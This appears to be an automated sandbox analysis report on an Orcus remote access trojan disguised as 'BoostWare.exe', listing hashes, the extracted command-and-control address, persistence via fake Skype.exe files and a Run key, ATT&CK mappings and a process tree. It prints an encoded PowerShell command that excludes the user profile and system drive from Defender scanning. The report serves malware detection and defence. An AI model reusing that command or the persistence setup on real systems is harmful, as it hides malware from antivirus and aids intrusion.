orcus | 5cf6ff4162d3eb61d3877ca0f2ab3174b95e210a8424134d4bc8698ba33e0ff3

Analysis

max time kernel
150s
max time network
147s
platform
windows10-2004_x64
resource
win10v2004-20250217-en
resource tags

arch:x64arch:x86image:win10v2004-20250217-enlocale:en-usos:windows10-2004-x64system
submitted
26/02/2025, 18:36

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General

Target

BoostWare.exe
Size

9.6MB
MD5

1dc82cdf4c25c697678c3d95e12c494a
SHA1

7e52934ffb36810cc3ed9974e7f650a9f2e1ba2e
SHA256

5cf6ff4162d3eb61d3877ca0f2ab3174b95e210a8424134d4bc8698ba33e0ff3
SHA512

5531feda823aa5d73f3538b22731dd54b93e15da9ce4f3e52ec380e99b52dcb7ad269fd532784a92b76deb8c2365cc190b8f784c18af7f4115612df01272ac2c
SSDEEP

196608:XDPBJeZiU597HSECgB3Io5kG8s/CjAWmRYsDb7dXkDoJNrEiKkQQCncv:XFQZig97y0B375GIC0Qs8ovrEXcv

Score

10^/10

orcus fortnite defense_evasion discovery persistence rat spyware stealer

Malware Config

Extracted

Family

orcus

Botnet

Fortnite

82.9.246.24:8808

Mutex

f65beca88ddb49089d3a6be2931bc598

Attributes

autostart_method
Registry
enable_keylogger
false
install_path
%programfiles%\Microsoft\Skype.exe
reconnect_delay
10000
registry_keyname
Skype
taskscheduler_taskname
Orcus
watchdog_path
AppData\Skype.exe

Signatures

Orcus
Orcus is a Remote Access Trojan that is being sold on underground forums.
rat spyware stealer orcus
Orcus family
orcus

Orcurs Rat Executable 2 IoCs

resource	yara_rule
behavioral2/files/0x000a000000023c5c-11.dat	orcus
behavioral2/memory/412-23-0x000002962F8E0000-0x000002962FBDC000-memory.dmp	orcus

Checks computer location settings 2 TTPs 4 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000\Control Panel\International\Geo\Nation	BoostWare.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000\Control Panel\International\Geo\Nation	Rha4t.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000\Control Panel\International\Geo\Nation	Skype.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000\Control Panel\International\Geo\Nation	Skype.exe

Executes dropped EXE 8 IoCs

pid	Process
2316	Beta.exe
412	Rha4t.exe
2384	WindowsInput.exe
2104	WindowsInput.exe
3516	Skype.exe
1948	Skype.exe
1724	Skype.exe
2476	Skype.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Skype = "\"C:\\Program Files\\Microsoft\\Skype.exe\""	Skype.exe

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\WindowsInput.exe	Rha4t.exe
File created	C:\Windows\SysWOW64\WindowsInput.exe.config	Rha4t.exe
File created	C:\Windows\SysWOW64\WindowsInput.InstallState	WindowsInput.exe

Drops file in Program Files directory 3 IoCs

description	ioc	Process
File created	C:\Program Files\Microsoft\Skype.exe	Rha4t.exe
File opened for modification	C:\Program Files\Microsoft\Skype.exe	Rha4t.exe
File created	C:\Program Files\Microsoft\Skype.exe.config	Rha4t.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	BoostWare.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Skype.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Skype.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4840	powershell.exe
4840	powershell.exe
2476	Skype.exe
2476	Skype.exe
3516	Skype.exe
3516	Skype.exe
2476	Skype.exe
3516	Skype.exe
3516	Skype.exe
2476	Skype.exe
2476	Skype.exe
3516	Skype.exe
3516	Skype.exe
2476	Skype.exe
3516	Skype.exe
2476	Skype.exe
2476	Skype.exe
3516	Skype.exe
3516	Skype.exe
3516	Skype.exe
2476	Skype.exe
2476	Skype.exe
2476	Skype.exe
3516	Skype.exe
2476	Skype.exe
3516	Skype.exe
2476	Skype.exe
3516	Skype.exe
3516	Skype.exe
2476	Skype.exe
3516	Skype.exe
2476	Skype.exe
2476	Skype.exe
3516	Skype.exe
3516	Skype.exe
2476	Skype.exe
2476	Skype.exe
3516	Skype.exe
2476	Skype.exe
3516	Skype.exe
2476	Skype.exe
3516	Skype.exe
3516	Skype.exe
2476	Skype.exe
3516	Skype.exe
2476	Skype.exe
3516	Skype.exe
2476	Skype.exe
2476	Skype.exe
3516	Skype.exe
3516	Skype.exe
2476	Skype.exe
3516	Skype.exe
2476	Skype.exe
2476	Skype.exe
3516	Skype.exe
2476	Skype.exe
3516	Skype.exe
3516	Skype.exe
2476	Skype.exe
2476	Skype.exe
3516	Skype.exe
3516	Skype.exe
2476	Skype.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	4840	powershell.exe
Token: SeDebugPrivilege	3516	Skype.exe
Token: SeDebugPrivilege	1724	Skype.exe
Token: SeDebugPrivilege	2476	Skype.exe

Suspicious use of WriteProcessMemory 17 IoCs

description	pid	Process	procid_target
PID 4812 wrote to memory of 4840	4812	BoostWare.exe	85
PID 4812 wrote to memory of 4840	4812	BoostWare.exe	85
PID 4812 wrote to memory of 4840	4812	BoostWare.exe	85
PID 4812 wrote to memory of 2316	4812	BoostWare.exe	88
PID 4812 wrote to memory of 2316	4812	BoostWare.exe	88
PID 4812 wrote to memory of 412	4812	BoostWare.exe	90
PID 4812 wrote to memory of 412	4812	BoostWare.exe	90
PID 412 wrote to memory of 2384	412	Rha4t.exe	91
PID 412 wrote to memory of 2384	412	Rha4t.exe	91
PID 412 wrote to memory of 3516	412	Rha4t.exe	95
PID 412 wrote to memory of 3516	412	Rha4t.exe	95
PID 3516 wrote to memory of 1724	3516	Skype.exe	98
PID 3516 wrote to memory of 1724	3516	Skype.exe	98
PID 3516 wrote to memory of 1724	3516	Skype.exe	98
PID 1724 wrote to memory of 2476	1724	Skype.exe	99
PID 1724 wrote to memory of 2476	1724	Skype.exe	99
PID 1724 wrote to memory of 2476	1724	Skype.exe	99

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\BoostWare.exe
"C:\Users\Admin\AppData\Local\Temp\BoostWare.exe"
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4812
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGQAbAByACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHMAagBmACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGYAdQBqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHQAZABrACMAPgA="
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4840
- C:\Users\Admin\AppData\Local\Temp\Beta.exe
  "C:\Users\Admin\AppData\Local\Temp\Beta.exe"
  2⤵
  - Executes dropped EXE
  PID:2316
- C:\Users\Admin\AppData\Local\Temp\Rha4t.exe
  "C:\Users\Admin\AppData\Local\Temp\Rha4t.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Drops file in System32 directory
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:412
- - C:\Windows\SysWOW64\WindowsInput.exe
    "C:\Windows\SysWOW64\WindowsInput.exe" --install
    3⤵
    - Executes dropped EXE
    - Drops file in System32 directory
    PID:2384
- - C:\Program Files\Microsoft\Skype.exe
    "C:\Program Files\Microsoft\Skype.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Adds Run key to start application
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3516
  - - C:\Users\Admin\AppData\Roaming\Skype.exe
      "C:\Users\Admin\AppData\Roaming\Skype.exe" /launchSelfAndExit "C:\Program Files\Microsoft\Skype.exe" 3516 /protectFile
      4⤵
      Checks computer location settings
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:1724
    - - C:\Users\Admin\AppData\Roaming\Skype.exe
        
        "C:\Users\Admin\AppData\Roaming\Skype.exe" /watchProcess "C:\Program Files\Microsoft\Skype.exe" 3516 "/protectFile"
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2476

C:\Windows\SysWOW64\WindowsInput.exe
"C:\Windows\SysWOW64\WindowsInput.exe"
1⤵
- Executes dropped EXE
PID:2104

C:\Program Files\Microsoft\Skype.exe
"C:\Program Files\Microsoft\Skype.exe"
1⤵
- Executes dropped EXE
PID:1948

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Skype.exe.log

Filesize
425B

MD5
4eaca4566b22b01cd3bc115b9b0b2196

SHA1
e743e0792c19f71740416e7b3c061d9f1336bf94

SHA256
34ba0ab8d1850e7825763f413142a333ccbc05fa2b5499a28a7d27b8a1c5b4bb

SHA512
bc2b1bf45203e3bb3009a7d37617b8f0f7ffa613680b32de2b963e39d2cf1650614d7035a0cf78f35a4f5cb17a2a439e2e07deaefd2a4275a62efd0a5c0184a1

Download Submit
C:\Users\Admin\AppData\Local\Temp\Beta.exe

Filesize
6.7MB

MD5
e7537ce869ffa596c293e451f3c8f726

SHA1
8873228a10fef6b3a5b05c9e2e447a1985841bcf

SHA256
4d135ec8daf850061742ddd4d49155e6b57599af896deb056dd68d26a8d0c13f

SHA512
3956b1cd36bf8fb73b411cba07d0c0e84e3e84b85d2d8234b65648a6826c11441d0963c04558831fbd5dc9e6fe04752557d6e0720afbe34c73e16b19f1eab561

Download Submit
C:\Users\Admin\AppData\Local\Temp\Rha4t.exe

Filesize
3.0MB

MD5
4676c622444293d23fc92c88b4d5de1f

SHA1
2a99665bd67956a8a55b0992ce736a55558f308e

SHA256
3023628d4215c3441486912e46694f64ff34636e9513456f162f3c1fa0c03847

SHA512
fb4b258db7d1b3962576d56af57a13962a8acff1233a58679c4286c2669a3e07888df24d9c28d9ab2fb8f5c3be4b3d51eedf7f0009de4bc02a52519f06af6990

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wsc5v4pn.abo.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Skype.exe

Filesize
9KB

MD5
8ace06702ec59d170ca2b31f95812e0f

SHA1
de36712adf9b67d0b4c99d12eb59361adfc5473f

SHA256
f74d37fae8e3fb82eff8d6acf755687d9fb38403c38512ad794f16d5b471ce45

SHA512
5d4dc9ad439f66a17f286800559f1ad13f798cf633eaa7319f41691f2d11a519cccab568e0dd2cadebe4258f51d760fab9ca67e7ecb6c97ff496c9308de6cec5

Download Submit
C:\Users\Admin\AppData\Roaming\Skype.exe.config

Filesize
159B

MD5
740dde6369b1c855ea2f8e171fa888c8

SHA1
db3f1c7e5e4c087cf9eb02376fd750f1879f28f8

SHA256
e03c480b46464159387618445ca9fd9870b53e092e2278837f2d5a54daf06cae

SHA512
114607dcee4439e5e5c97ca986a65c8114a0e3f3c56f494ef6eaac9cb0f9ebf29b828aabc3100e4be197c94d54a7c26513942c56806bfb3bb0d3594ffef7458c

Download Submit
C:\Windows\SysWOW64\WindowsInput.exe

Filesize
21KB

MD5
a80be96476032d2eaa901d180fe9fb73

SHA1
f378d0bc5fefb9ea0b5006f020091ffcbcd7acec

SHA256
d6075c1ed6f285f5de01ce0cc6a817b59054da8b19f20bc7081cfe7fb2b1af42

SHA512
210c0c4c845b416a601015fba5ccd2a3e8a4b81d3b4c5e0491b07bd0dcad938d9b118728bb1abc21eb73c5f9263a3c08e1822ece91002a2d1f0983857f0192ea

Download Submit
C:\Windows\SysWOW64\WindowsInput.exe.config

Filesize
357B

MD5
a2b76cea3a59fa9af5ea21ff68139c98

SHA1
35d76475e6a54c168f536e30206578babff58274

SHA256
f99ef5bf79a7c43701877f0bb0b890591885bb0a3d605762647cc8ffbf10c839

SHA512
b52608b45153c489419228864ecbcb92be24c644d470818dfe15f8c7e661a7bcd034ea13ef401f2b84ad5c29a41c9b4c7d161cc33ae3ef71659bc2bca1a8c4ad

Download Submit
memory/412-24-0x000002964A390000-0x000002964A3A0000-memory.dmp

Filesize
64KB

Download
memory/412-23-0x000002962F8E0000-0x000002962FBDC000-memory.dmp

Filesize
3.0MB

Download
memory/412-27-0x000002962FF70000-0x000002962FF7E000-memory.dmp

Filesize
56KB

Download
memory/412-28-0x000002962FFB0000-0x000002962FFC2000-memory.dmp

Filesize
72KB

Download
memory/412-26-0x0000029631840000-0x000002963189C000-memory.dmp

Filesize
368KB

Download
memory/412-19-0x00007FFAA8C73000-0x00007FFAA8C75000-memory.dmp

Filesize
8KB

Download
memory/1724-99-0x0000000000D70000-0x0000000000D78000-memory.dmp

Filesize
32KB

Download
memory/2104-63-0x00000196D9690000-0x00000196D979A000-memory.dmp

Filesize
1.0MB

Download
memory/2384-42-0x000001AB4B3B0000-0x000001AB4B3BC000-memory.dmp

Filesize
48KB

Download
memory/2384-44-0x000001AB668C0000-0x000001AB668FC000-memory.dmp

Filesize
240KB

Download
memory/2384-43-0x000001AB4B780000-0x000001AB4B792000-memory.dmp

Filesize
72KB

Download
memory/3516-130-0x0000014540730000-0x00000145408F2000-memory.dmp

Filesize
1.8MB

Download
memory/3516-132-0x0000014540290000-0x00000145402A6000-memory.dmp

Filesize
88KB

Download
memory/3516-85-0x000001453F8F0000-0x000001453F900000-memory.dmp

Filesize
64KB

Download
memory/3516-84-0x000001453F8D0000-0x000001453F8E8000-memory.dmp

Filesize
96KB

Download
memory/3516-81-0x0000014526E50000-0x0000014526E62000-memory.dmp

Filesize
72KB

Download
memory/3516-133-0x00000145402C0000-0x00000145402CC000-memory.dmp

Filesize
48KB

Download
memory/3516-82-0x000001453FB10000-0x000001453FB68000-memory.dmp

Filesize
352KB

Download
memory/4840-67-0x0000000006900000-0x000000000691E000-memory.dmp

Filesize
120KB

Download
memory/4840-68-0x0000000006930000-0x000000000697C000-memory.dmp

Filesize
304KB

Download
memory/4840-62-0x00000000063B0000-0x0000000006704000-memory.dmp

Filesize
3.3MB

Download
memory/4840-52-0x0000000006340000-0x00000000063A6000-memory.dmp

Filesize
408KB

Download
memory/4840-51-0x0000000006260000-0x00000000062C6000-memory.dmp

Filesize
408KB

Download
memory/4840-49-0x00000000061A0000-0x00000000061C2000-memory.dmp

Filesize
136KB

Download
memory/4840-45-0x0000000005AC0000-0x00000000060E8000-memory.dmp

Filesize
6.2MB

Download
memory/4840-100-0x00000000078D0000-0x0000000007902000-memory.dmp

Filesize
200KB

Download
memory/4840-101-0x0000000070680000-0x00000000706CC000-memory.dmp

Filesize
304KB

Download
memory/4840-111-0x0000000006F00000-0x0000000006F1E000-memory.dmp

Filesize
120KB

Download
memory/4840-112-0x0000000007B20000-0x0000000007BC3000-memory.dmp

Filesize
652KB

Download
memory/4840-20-0x0000000005350000-0x0000000005386000-memory.dmp

Filesize
216KB

Download
memory/4840-118-0x0000000008310000-0x000000000898A000-memory.dmp

Filesize
6.5MB

Download
memory/4840-119-0x0000000007C60000-0x0000000007C7A000-memory.dmp

Filesize
104KB

Download
memory/4840-120-0x0000000007CE0000-0x0000000007CEA000-memory.dmp

Filesize
40KB

Download
memory/4840-121-0x0000000007F00000-0x0000000007F96000-memory.dmp

Filesize
600KB

Download
memory/4840-122-0x0000000007E70000-0x0000000007E81000-memory.dmp

Filesize
68KB

Download
memory/4840-123-0x000000007350E000-0x000000007350F000-memory.dmp

Filesize
4KB

Download
memory/4840-124-0x0000000007EB0000-0x0000000007EBE000-memory.dmp

Filesize
56KB

Download
memory/4840-125-0x0000000007EC0000-0x0000000007ED4000-memory.dmp

Filesize
80KB

Download
memory/4840-126-0x0000000007FA0000-0x0000000007FBA000-memory.dmp

Filesize
104KB

Download
memory/4840-127-0x0000000007EF0000-0x0000000007EF8000-memory.dmp

Filesize
32KB

Download
memory/4840-25-0x0000000005480000-0x0000000005490000-memory.dmp

Filesize
64KB

Download
memory/4840-22-0x0000000005480000-0x0000000005490000-memory.dmp

Filesize
64KB

Download
memory/4840-15-0x000000007350E000-0x000000007350F000-memory.dmp

Filesize
4KB

Download